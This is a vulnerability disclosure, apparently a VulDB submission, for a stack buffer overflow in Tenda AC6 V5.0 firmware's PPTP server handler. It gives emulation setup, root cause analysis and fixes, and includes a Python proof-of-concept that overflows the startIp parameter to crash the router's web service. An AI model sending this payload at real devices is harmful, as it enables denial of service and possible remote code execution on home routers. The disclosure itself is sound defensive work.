| 标题 | Tenda AC6 V03.03.20.11 Memory Corruption |
|---|
| 描述 | Basic Vendor & Product Info
Vendor: Tenda
Product: AC6
Hardware Version: V5.0
Firmware Version: V03.03.20.11
Class: Memory Corruption (Stack Buffer Overflow via Unbounded sscanf Parsing)
CVSS 3.1 Score: 8.2
CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Full Emulation Environment Deployment (Identical Complete Setup)
Official firmware download URL: https://www.tenda.com.cn/material/show/3242
Step 1 Install & Download QEMU ARM Dependencies
bash
运行
sudo apt update && sudo apt install aria2
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress"
Downloaded files:
debian_wheezy_armhf_standard.qcow2
initrd.img-3.2.0-4-vexpress
vmlinuz-3.2.0-4-vexpress
Step 2 Host TAP Network & Iptables Configuration
bash
运行
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.1 netmask x.x.x.x
Step 3 QEMU Startup Command
bash
运行
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
VM login username & password: root
Step 4 VM Network & Firmware Deployment
VM internal network setup
bash
运行
ifconfig eth0 192.168.100.2 netmask x.x.x.x
route add default gw 192.168.100.1
Verify bidirectional ping between host and VM.
Host package firmware & launch HTTP server
bash
运行
tar -czvf squashfs-root.tar squashfs-root
python3 -m http.server
Extract firmware, create bridge and start httpd in chroot
bash
运行
wget http://192.168.100.1:8000/squashfs-root.tar
tar -xzvf squashfs-root.tar
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.100.2/24 dev br0
chroot ./squashfs-root sh
cp -rf webroot_ro/* webroot/
./bin/httpd
Web admin panel available at http://192.168.100.2.
Vulnerability 5 Detailed Description
Attack Entry Info
Target URL: http://[target_ip]/goform/SetPptpServerCfg
Controllable Parameter: POST parameter startIp
Vulnerable Function: formSetPPTPServer
Vulnerable Code Line:
c
运行
sscanf(v20, "%[^.].%[^.].%[^.].%s", v13, v14, v15, &v15[8]) != 4
Auth Requirement: Valid admin session cookie
Note: On physical complete router firmware, unauthenticated requests will be redirected to login page and cannot reach vulnerable parsing logic. Authentication validation is skipped only in incomplete chroot emulation without background system daemons.
Root Cause Analysis
The program reads fully user-controlled input from POST startIp into stack variable v20, then uses unsafe unbounded sscanf to split dot-separated IPv4 segments into stack buffers v13, v14, v15.
Format specifier %[^.] reads all characters until a dot . with no maximum length restriction;
If the first segment of startIp is extremely long before the first dot, it overflows buffer v13; any of the four parsed segments can trigger overflow independently.
Oversized input corrupts stack local variables, base pointer and function return address. When the function returns, a segmentation fault crashes the httpd web service, leading to persistent remote DoS; precise payload construction enables remote code execution.
Proof of Concept (POC)
python
运行
import requests
from pwn import cyclic
url = "http://192.168.100.2/goform/SetPptpServerCfg"
cookie = {"password": "VALID_SESSION_COOKIE"}
payload = cyclic(1000)
data = {
"serverEn": "1",
"mppe": "1",
"mppeOp": "128",
"startIp": payload + b".1.1.1",
"endIp": "192.168.0.200"
}
try:
r = requests.post(url, cookies=cookie, data=data, timeout=3)
print("status:", r.status_code)
print("body snippet:", r.text[:200])
except requests.RequestException as e:
print("Possible httpd crash:", e)
Reproduction Phenomenon
Short normal IP input: HTTP 200 OK, normal web page returned;
1000-byte cyclic long payload: Request raises ReadTimeout or ConnectionResetError;
QEMU serial console outputs Segmentation fault (core dumped) confirming stack overflow crash;
Router watchdog automatically restarts httpd to restore web service temporarily.
Mitigation & Fix Recommendations
Add width limits to all sscanf format specifiers (e.g. %127[^.]) to restrict copy length;
Pre-check string length of each IP segment before writing to stack buffers;
Replace unsafe unbounded sscanf with manual bounded string splitting logic;
Deploy unified global input length filtering for all CGI POST parameters in httpd.
Duplicate Vulnerability Statement
Existing public CVE records only apply to Tenda AC6 V2.0 old firmware. This vulnerability exclusively affects Tenda AC6 V5.0 firmware V03.03.20.11. Binary code, function offsets and stack layout are completely independent; no matching vulnerability records exist on VulDB, NVD or CNVD. |
|---|
| 用户 | hfddh666 (UID 99974) |
|---|
| 提交 | 2026-07-22 14時02分 (2 月前) |
|---|
| 管理 | 2026-09-06 11時36分 (2 months later) |
|---|
| 状态 | 重复 |
|---|
| VulDB条目 | 283281 [Tenda AC6 15.03.06.50 formSetPPTPServer 内存损坏] |
|---|
| 积分 | 0 |
|---|